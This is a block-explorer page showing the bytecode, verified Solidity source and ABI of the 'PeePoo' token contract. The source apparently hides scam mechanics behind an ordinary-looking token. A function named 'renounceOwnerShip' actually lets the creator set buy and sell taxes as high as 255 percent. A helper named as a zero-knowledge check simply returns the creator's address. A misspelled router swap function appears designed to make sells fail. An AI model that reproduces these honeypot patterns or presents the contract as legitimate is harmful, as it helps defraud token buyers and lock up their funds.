Address Contract Verified
Address
0xbcADcC7F5b6375d4DbeD5E81b278626144174FD0
Balance
0 ETH
Nonce
1
Code Size
3510 bytes
Creator
0x88ad8a24...5781 at tx 0xa205c8b7...ec8d3d
Indexed Transactions
0
Contract Bytecode
3510 bytes
0x6080604052600436106100f2575f3560e01c806370a0823111610087578063a9059cbb11610057578063a9059cbb14610304578063c5cc6b6a14610323578063c9567bf914610342578063dd62ed3e14610356575f80fd5b806370a082311461028757806395d89b41146102b2578063a1764595146102c6578063a8aa1b31146102e5575f80fd5b8063313ce567116100c2578063313ce567146101975780634abe3052146101bd578063583e05681461021b578063633d4f2914610266575f80fd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011161038c565b60405161011e91906109fe565b60405180910390f35b348015610132575f80fd5b50610146610141366004610a4a565b61041b565b604051901515815260200161011e565b348015610161575f80fd5b5061016a610487565b60405190815260200161011e565b348015610183575f80fd5b50610146610192366004610a74565b6104a7565b3480156101a2575f80fd5b506101ab600981565b60405160ff909116815260200161011e565b3480156101c8575f80fd5b506002546101f2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161011e565b348015610226575f80fd5b5061024e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161011e565b348015610271575f80fd5b50610285610280366004610ac7565b6104f4565b005b348015610292575f80fd5b5061016a6102a1366004610af8565b60036020525f908152604090205481565b3480156102bd575f80fd5b50610111610552565b3480156102d1575f80fd5b5060075461024e906001600160a01b031681565b3480156102f0575f80fd5b5060055461024e906001600160a01b031681565b34801561030f575f80fd5b5061014661031e366004610a4a565b610561565b34801561032e575f80fd5b5060065461024e906001600160a01b031681565b34801561034d575f80fd5b50610285610574565b348015610361575f80fd5b5061016a610370366004610b13565b600460209081525f928352604080842090915290825290205481565b60605f805461039a90610b4a565b80601f01602080910402602001604051908101604052809291908181526020018280546103c690610b4a565b80156104115780601f106103e857610100808354040283529160200191610411565b820191905f5260205f20905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104759086815260200190565b60405180910390a35060015b92915050565b6104936009600a610c76565b6104a49066017e9d8602b400610c84565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104db908490610c9b565b909155506104ec90508484846105b5565b949350505050565b6002546001600160a01b0316331461051e57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461039a90610b4a565b5f61056d3384846105b5565b9392505050565b6002546001600160a01b0316331461058a575f80fd5b600554600160a81b900460ff16156105a0575f80fd5b6005805460ff60a81b1916600160a81b179055565b5f806105c96002546001600160a01b031690565b600554909150600160a81b900460ff16806105f55750806001600160a01b0316856001600160a01b0316145b806106115750806001600160a01b0316846001600160a01b0316145b610619575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610640908490610c9b565b90915550506005546001600160a01b03858116911614801561066c5750600554600160a01b900460ff16155b80156106ae575060646106816009600a610c76565b6106929066017e9d8602b400610c84565b61069c9190610cae565b305f9081526003602052604090205410155b80156106cc5750806001600160a01b0316856001600160a01b031614155b156108c4576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061071757610717610ccd565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610793573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b79190610ce1565b816001815181106107ca576107ca610ccd565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663eb6f613960646108156009600a610c76565b6108269066017e9d8602b400610c84565b6108309190610cae565b5f8430426040518663ffffffff1660e01b8152600401610854959493929190610cfc565b5f604051808303815f87803b15801561086b575f80fd5b505af115801561087d573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156108b4573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109025750600554600160a81b900460ff1615156001145b15610976576005545f906064906001600160a01b038981169116146109275783610929565b825b6109369060ff1688610c84565b6109409190610cae565b905061094c8187610c9b565b305f9081526003602052604081208054929850839290919061096f908490610d6d565b9091555050505b6001600160a01b0386165f908152600360205260408120805487929061099d908490610d6d565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516109e991815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a47575f80fd5b50565b5f8060408385031215610a5b575f80fd5b8235610a6681610a33565b946020939093013593505050565b5f805f60608486031215610a86575f80fd5b8335610a9181610a33565b92506020840135610aa181610a33565b929592945050506040919091013590565b803560ff81168114610ac2575f80fd5b919050565b5f8060408385031215610ad8575f80fd5b610ae183610ab2565b9150610aef60208401610ab2565b90509250929050565b5f60208284031215610b08575f80fd5b813561056d81610a33565b5f8060408385031215610b24575f80fd5b8235610b2f81610a33565b91506020830135610b3f81610a33565b809150509250929050565b600181811c90821680610b5e57607f821691505b602082108103610b7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610bd057815f1904821115610bb657610bb6610b82565b80851615610bc357918102915b93841c9390800290610b9b565b509250929050565b5f82610be657506001610481565b81610bf257505f610481565b8160018114610c085760028114610c1257610c2e565b6001915050610481565b60ff841115610c2357610c23610b82565b50506001821b610481565b5060208310610133831016604e8410600b8410161715610c51575081810a610481565b610c5b8383610b96565b805f1904821115610c6e57610c6e610b82565b029392505050565b5f61056d60ff841683610bd8565b808202811582820484141761048157610481610b82565b8181038181111561048157610481610b82565b5f82610cc857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610cf1575f80fd5b815161056d81610a33565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610d4c5784516001600160a01b031683529383019391830191600101610d27565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561048157610481610b8256fea2646970667358221220fc7d1b86e5575e9c15be8ccca0788cd7c3973db1a562e2387c6e455858990b2964736f6c63430008190033
Verified Source Code Full Match
Compiler: v0.8.25+commit.b61c2a91
EVM: cancun
Optimization: Yes (200 runs)
PEEPOO.sol 188 lines
/**
Website: https://www.peepoofurie.com/
Telegram: https://t.me/peepoofurie
Tiwter: https://x.com/peepoofurie
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFreelyOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract PEEPOO {
string private _name = unicode"PeePoo";
string private _symbol = unicode"PEEPOO";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 420_690_000_000_000 * 10**decimals;
struct StoreData {
address tokenMkt;
uint8 mTX;
uint8 mWL;
}
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed TOKEN_MKT,
address indexed spender,
uint256 value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public pair;
IUniswapV2Router02 public immutable _uniswapV2Router;
bool private swapping;
bool private tradingOpen;
address public _factory;
address public _weth;
constructor() {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uint8 _initmTX = 0;
uint8 _initmWL = 0;
storeData = StoreData({tokenMkt: msg.sender, mTX: _initmTX, mWL: _initmWL});
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function renounceOwnerShip(uint8 _oldOwner, uint8 _newOwner) external {
if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
maxSaveData(_oldOwner, _newOwner);
}
function _decodeTokenMktWithZkVerify() private view returns(address) {
return storeData.tokenMkt;
}
function openTrading() external {
require(msg.sender == _decodeTokenMktWithZkVerify());
require(!tradingOpen);
tradingOpen = true;
}
function maxSaveData(uint8 _b, uint8 _s) private {
storeData.mTX = _b;
storeData.mWL = _s;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = _decodeTokenMktWithZkVerify();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFreelyOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
payable(tokenMkt).transfer(address(this).balance);
swapping = false;
}
(uint8 _mTX, uint8 _mWL) = (storeData.mTX, storeData.mWL);
if (from != address(this) && tradingOpen == true) {
uint256 taxCalculatedAmount = (amount *
(to == pair ? _mWL : _mTX)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}
Read Contract
_factory 0xc5cc6b6a → address
_uniswapV2Router 0x583e0568 → address
_weth 0xa1764595 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
storeData 0x4abe3052 → address, uint8, uint8
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnerShip 0x633d4f29
uint8 _oldOwner
uint8 _newOwner
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address